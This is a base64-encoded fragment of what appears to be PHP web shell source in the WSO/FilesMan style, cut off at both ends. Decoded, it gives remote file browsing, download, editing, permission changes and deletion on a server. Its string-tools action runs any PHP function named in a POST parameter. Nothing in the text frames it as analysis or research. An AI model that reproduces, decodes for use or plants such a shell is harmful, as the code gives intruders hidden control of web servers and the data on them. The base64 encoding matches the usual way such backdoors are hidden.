aGVja2VkOwogICAgICAgIH0KICAgICAgICA8L3NjcmlwdD4KICAgICAgICA8dGFibGUgd2lkdGg9XCcxMDAlXCcgY2xhc3M9XCdtYWluXCcgY2VsbHNwYWNpbmc9XCcwXCcgY2VsbHBhZGRpbmc9XCcyXCc+CiAgICAgICAgPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD4nOwogICAgZWNobyAiPHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGljaz0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbmFtZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfc2l6ZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfcGVybXNfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5QZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7CiAgICAkZGlycyA9ICRmaWxlcyA9ICRsaW5rcyA9IGFycmF5KCk7CiAgICAkbiA9IGNvdW50KCRkaXJDb250ZW50KTsKICAgIGZvcigkaT0wOyRpPCRuOyRpKyspIHsKICAgICAgICAkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTsKICAgICAgICAkZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsKICAgICAgICAkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwKICAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sCiAgICAgICAgICAgICAgICAgICAgICdtb2RpZnknID0+IEBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSksCiAgICAgICAgICAgICAgICAgICAgICdwZXJtcycgPT4gdmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCiAgICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCiAgICAgICAgICAgICAgICAgICAgICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLAogICAgICAgICAgICAgICAgICAgICAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpCiAgICAgICAgICAgICRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwogICAgICAgIGVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkKICAgICAgICAgICAgJGxpbmtzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnKSk7CiAgICAgICAgZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkmJiAoJGRpckNvbnRlbnRbJGldICE9ICIuIikpCiAgICAgICAgICAgICRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsKICAgIH0KICAgICRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsKICAgIGZ1bmN0aW9uIGNtcCgkYSwgJGIpIHsKICAgICAgICBpZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykKICAgICAgICAgICAgcmV0dXJuIHN0cmNtcCgkYVskR0xPQkFMU1snc29ydCddWzBdXSwgJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwogICAgICAgIGVsc2UKICAgICAgICAgICAgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKICAgIH0KICAgIHVzb3J0KCRmaWxlcywgImNtcCIpOwogICAgdXNvcnQoJGRpcnMsICJjbXAiKTsKICAgIHVzb3J0KCRsaW5rcywgImNtcCIpOwogICAgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRsaW5rcywgJGZpbGVzKTsKICAgICRsID0gMDsKICAgIGZvcmVhY2goJGZpbGVzIGFzICRmKSB7CiAgICAgICAgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiPjxiPlsgJy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pLicgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXQogICAgICAgICAgICAuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+PC90cj4nOwogICAgICAgICRsID0gJGw/MDoxOwogICAgfQogICAgZWNobyAnPHRyPjx0ZCBjb2xzcGFuPTU+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVwnRmlsZXNNYW5cJz4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KICAgIDxzZWxlY3QgbmFtZT1cJ3AxXCc+PG9wdGlvbiB2YWx1ZT1cJ2NvcHlcJz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ21vdmVcJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ2RlbGV0ZVwnPkRlbGV0ZTwvb3B0aW9uPic7CiAgICBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkmJkBjb3VudCgkX1NFU1NJT05bJ2YnXSkpe2VjaG8gJzxvcHRpb24gdmFsdWU9XCdwYXN0ZVwnPlBhc3RlPC9vcHRpb24+JzsgfQogICAgZWNobyAnPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4+Ij48L3RkPjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0icmlnaHQiIHdpZHRoPSIwIj48L3RkPjwvdHI+CiAgICA8L2Zvcm0+PC90YWJsZT48L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBkZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KICAgIAogICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCRfUE9TVFsncDEnXSkpCiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7CiAgICAgICAgJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7CiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKICAgICAgICBleGl0OwogICAgfQogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgJHN0cmluZ1Rvb2xzID0gYXJyYXkoCiAgICAgICAgJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywKICAgICAgICAnQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLAogICAgICAgICdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKICAgICAgICAnVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsCiAgICAgICAgJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLAogICAgICAgICdtZDUgaGFzaCcgPT4gJ21kNScsCiAgICAgICAgJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLAogICAgICAgICdjcnlwdCcgPT4gJ2NyeXB0JywKICAgICAgICAnQ1JDMzInID0+ICdjcmMzMicsCiAgICAgICAgJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsCiAgICAgICAgJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsCiAgICAgICAgJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLAogICAgICAgICdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsCiAgICAgICAgJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLAogICAgICAgICdERUMgdG8gQklOJyA9PiAnZGVjYmluJywKICAgICAgICAnQklOIHRvIEhFWCcgPT4gJ2JpbjJoZXgnLAogICAgICAgICdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywgICAgICAgIAogICAgICAgICdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLAogICAgICAgICdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLAogICAgICAgICdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsCiAgICAgICAgJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLAogICAgKTsKICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKICAgIGVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOwogICAgZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJz4iLiRrLiI8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7CiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7CiAgICB9CiAgICBlY2hvIjwvcHJlPjwvZGl2PiI7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgewogICAgaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQogICAgICAgICRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOwogICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewogICAgICAgIGlmKGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOwogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOwogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIuJHR5cGUpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7CiAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmcCkpCiAgICAgICAgICAgICAgICAgICAgZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYoaXNfZGlyKCRfUE9TVFsncDEnXSkgJiYgaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewoKICAgICAgICB9CiAgICAgICAgZXhpdDsKICAgIH0KICAgIGlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgewogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7CiAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gImVkaXQiOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgaWYoICFmaWxlX2V4aXN0cyhAJF9QT1NUWydwMSddKSApIHsKICAgICAgICBlY2hvICdGaWxlIG5vdCBleGlzdHMnOwogICAgICAgIHByaW50Rm9vdGVyKCk7CiAgICAgICAgcmV0dXJuOwogICAgfQogICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwogICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwogICAgZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT92aWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcudmlld1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7CiAgICBlY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JzsKICAgIGlmKCBlbXB0eSgkX1BPU1RbJ3AyJ10pICkKICAgICAgICAkX1BPU1RbJ3AyJ10gPSAndmlldyc7CiAgICBpZiggaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICkKICAgICAgICAkbSA9IGFycmF5KCdWaWV3JywgJ0hpZ2hsaWdodCcsICdEb3dubG9hZCcsICdIZXhkdW1wJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiAgICBlbHNlCiAgICAgICAgJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiAgICBmb3JlYWNoKCRtIGFzICR2KQogICAgICAgIGVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7CiAgICBlY2hvICc8YnI+PGJyPic7CiAgICBzd2l0Y2goJF9QT1NUWydwMiddKSB7CiAgICAgICAgY2FzZSAndmlldyc6CiAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPic7CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CiAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkKICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzwvcHJlPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2hpZ2hsaWdodCc6CiAgICAgICAgICAgIGlmKCBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgewogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOwogICAgICAgICAgICAgICAgJGNvZGUgPSBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7CiAgICAgICAgICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2NobW9kJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgJHBlcm1zID0gMDsKICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJGkpCiAgICAgICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsKICAgICAgICAgICAgICAgIGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2VkaXQnOgogICAgICAgICAgICBpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydwMSddLCRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICBlY2hvICdTYXZlZCE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGV4ZHVtcCc6CiAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICRuID0gMDsKICAgICAgICAgICAgJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CiAgICAgICAgICAgICRsZW4gPSBzdHJsZW4oJGMpOwogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKICAgICAgICAgICAgICAgICRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKICAgICAgICAgICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbisrOwogICAgICAgICAgICAgICAgaWYgKCRuID09IDMyKSB7CiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOwogICAgICAgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxl